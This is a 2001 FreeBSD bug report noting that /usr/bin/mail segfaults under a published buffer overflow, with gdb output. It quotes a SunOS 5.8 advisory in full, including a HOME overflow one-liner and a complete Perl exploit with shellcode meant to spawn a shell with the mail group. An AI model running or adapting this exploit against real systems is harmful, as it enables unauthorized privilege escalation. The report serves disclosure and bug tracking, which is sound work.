Date: Wed, 6 Jun 2001 09:40:53 -0400 (EDT) From: Rob Simmons <rsimmons@wumpus.wlcg.com> To: FreeBSD-gnats-submit@freebsd.org Subject: bin/27907: /usr/bin/mail dumps core with a Seg Fault Message-ID: <200106061340.f56Derj10576@wumpus.wlcg.com>
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>Number: 27907
>Category: bin
>Synopsis: /usr/bin/mail dumps core with a Seg Fault
>Confidential: no
>Severity: non-critical
>Priority: medium
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Wed Jun 06 06:50:01 PDT 2001
>Closed-Date:
>Last-Modified:
>Originator: Rob Simmons
>Release: FreeBSD 4.3-STABLE i386
>Organization:
>Environment:
System: FreeBSD wumpus 4.3-STABLE FreeBSD 4.3-STABLE #0: Fri May 11 09:42:50 EDT 2001 root@wumpus:/usr/obj/usr/src/sys/WUMPUS i386
>Description:
I was testing the buffer overflow that was reported to bugtraq on June 4th
involving /usr/bin/mail on Solaris and the exploit does not gain root access.
It does cause /usr/bin/mail to seg fault and dump core. I have gdb output
from the core file:
bash-2.05$ gdb /usr/bin/mail mail.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
Core was generated by `mail'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...done.
Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)...
done.
#0 0x41414141 in ?? ()
(gdb) quit
>How-To-Repeat:
Here is the advisory. The "Details" section contains one method for getting
mail to dump core. The exploit itself does the same.
Georgi Guninski security advisory #46, 2001
$HOME buffer overflow in SunOS 5.8 x86
Systems affected:
SunOS 5.8 x86 have not tested on other OSes
Risk: Medium
Date: 4 June 2001
Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.
Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C
eip gets smashed with 0x41414141.
Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------
Workaround:
chmod -s /usr/bin/mail
Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.
>Fix:
Unknown
>Release-Note:
>Audit-Trail:
>Unformatted:
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